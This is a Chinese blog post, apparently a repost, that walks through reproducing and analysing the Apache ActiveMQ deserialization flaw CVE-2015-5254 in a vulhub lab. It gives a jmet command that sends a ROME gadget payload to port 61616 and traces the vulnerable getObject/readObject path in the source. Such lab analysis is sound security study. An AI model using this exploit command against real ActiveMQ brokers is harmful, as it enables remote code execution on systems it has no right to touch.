CVE-2015-5254利用与分析

admin 2024年3月9日14:29:42评论9 views字数 4252阅读14分10秒阅读模式
CVE-2015-5254利用与分析

 点击上方蓝字关注我  

引言

Java 消息服务(Java Message Service,JMS)应用程序接口是一个Java 平台中关于面向消息中间件(MOM)的API,用于在两个应用程序之间,或分布式系统中发送消息,进行异步通信。

其中,pache ActiveMQ就是一个比较有代表性的产品

pache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

一个很经典的洞,不过网上几乎没有分析资料,我就靠着自己的理解和blackhat关于jms漏洞分享写了一下

如果有问题请大佬赐教。

利用  

漏洞靶机搭建  

P牛的vulhub有,可以拿来直接搭建看看    

https://vulhub.org/

此外P牛给了个2016 blackhat的有关链接,这个挺重要的,网上关于这个漏洞没有比它更详细的了

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

道明了其漏洞的本质就是未经过滤或者识别就接收数据进行反序列化

直接一键搭建

CVE-2015-5254利用与分析

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。

CVE-2015-5254利用与分析

下面我们开始利用    

构造对象发送给目标61616端口    

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

CVE-2015-5254利用与分析

有个报错,还好不致命

访问web管理页面,读取消息触发漏洞  

访问ip:8161/admin/browse.jsp?JMSDestination=event    

CVE-2015-5254利用与分析

点进去看看

CVE-2015-5254利用与分析

下面我们验证下是否成功

CVE-2015-5254利用与分析

分析  

大致思路  

触发点在读取message的时候,我们只需找到这个功能的实现,再分析反序列化利用链即可    

下载源码  

5.11.1以前都有漏洞,那我就找一个5.10版本的

https://archive.apache.org/dist/activemq/5.10.0/activemq-parent-5.10.0-source-release.zip

用IDEA打开下载并用maven插件下载依赖

CVE-2015-5254利用与分析

时间挺长,耐心等待,不过由于年代久远,好多依赖都没办法取得,报错一大堆

这个时间我觉得没必要浪费,只能光看代码了    

CVE-2015-5254利用与分析

寻找入口

我们找到触发地址

找到反序列化后的内容展示代碼

 <th>                            Message Details                        </th>                    </tr>                </thead>                <tbody>                    <tr>                        <td><div class="message"><pre class="prettyprint"><c:out value="${requestContext.messageQuery.body}"/></pre></div></td>                    </tr>

${requestContext.messageQuery.body} 就是我们的线索

下面我们向上找到类MessageQuery.java

CVE-2015-5254利用与分析

然后找到getbody的方法

    public Object getBody() throws JMSException {                    Message message = getMessage();                    if (message instanceof TextMessage) {                        return ((TextMessage) message).getText();                    }                    if (message instanceof ObjectMessage) {                        try {                            return ((ObjectMessage) message).getObject();                            //如果消息是一个 ObjectMessage 对象,它会尝试调用 getObject() 方法获取对象内容                    //并将其作为结果返回。            } catch (JMSException e) {                            //message could not be parsed, make the reason available                            return e;                        }                    //如果在获取对象时发生 JMSException 异常,它会捕获该异常,并将异常对象作为结果返回                        //以便你可以了解发生异常的原因。        }            

找到反序列化点  

maven输入命令得到源代码,方便我们分析

mvn dependency:resolve -Dclassifier=sources            

进入ObjectMessageCVE-2015-5254利用与分析    

大道至简,一个set,一个get

先是set部分  

先看谁实现了这个接口

CVE-2015-5254利用与分析

我们进去看看

    /**                 * Sets the serializable object containing this message's data. It is                 * important to note that an ObjectMessage contains a                 * snapshot of the object at the time setObject() is called;                 * subsequent modifications of the object will have no effect on the                 * ObjectMessage body.                 *                 * @param newObject the message's data                 * @throws JMSException if the JMS provider fails to set the object due to                 *                 some internal error.                 * @throws javax.jms.MessageFormatException if object serialization fails.                 * @throws javax.jms.MessageNotWriteableException if the message is in                 *                 read-only mode.                 */                public void setObject(Serializable newObject) throws JMSException {                    checkReadOnlyBody();                    this.object = newObject;                    setContent(null);                    ActiveMQConnection connection = getConnection();                    if (connection == null || !connection.isObjectMessageSerializationDefered()) {                        storeContent();                        //存储                    }                }                //用于设置消息对象的序列化数据            

这个不是很重要

我们往下看    

CVE-2015-5254利用与分析

找到

public void send(String payload) throws Exception {            
ObjectMessage message = session.createObjectMessage();            
message.setObject(payload);            
producer.send(message);            
if (session.getTransacted()) {            
session.commit();            
}            
}            

有两点

·通过调用 message.setObject(payload) 方法。payload设置为消息对象的内容

·然后,使用 producer.send(message) 方法将消息发送出去

发送出去后必然就得接受,我们找到接收点

下面是简单接收文本的实例    

CVE-2015-5254利用与分析

我们从接口也能略知一二

CVE-2015-5254利用与分析    

大致就是服务器建立监听,接收数据

不过,发送给服务器,服务器并不会自动反序列化,我们接着往下看

再看get部分  

老办法,先看实现

    public Serializable getObject() throws JMSException {                    if (object == null && getContent() != null) {                        try {                            ByteSequence content = getContent();                            //这里的content是setObject的storeContent方法存储的                            InputStream is = new ByteArrayInputStream(content);                            if (isCompressed()) {                                is = new InflaterInputStream(is);                            }                            DataInputStream dataIn = new DataInputStream(is);                            ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);                            try {                                object = (Serializable)objIn.readObject();                                //!!将接收的数据进行反序列化并且触发漏洞!!                } catch (ClassNotFoundException ce) {                                throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);                            } finally {                                dataIn.close();                            }                        } catch (IOException e) {                            throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);                        }                    }                    return this.object;                }                //显然,其执行反序列化过程来获取对象,触发漏洞

那么怎么触发getObject呢?

我们回想之前的getbody方法

return ((ObjectMessage) message).getObject();            

那么利用链就逐渐清晰了  

总结 

CVE-2015-5254利用与分析

至于payload可以了解下ROME攻击链

总的来说,学习java的路还任重道远,继续努力。    

原文始发于微信公众号(Zacarx随笔):CVE-2015-5254利用与分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月9日14:29:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2015-5254利用与分析https://cn-sec.com/archives/2559202.html

发表评论

匿名网友 填写信息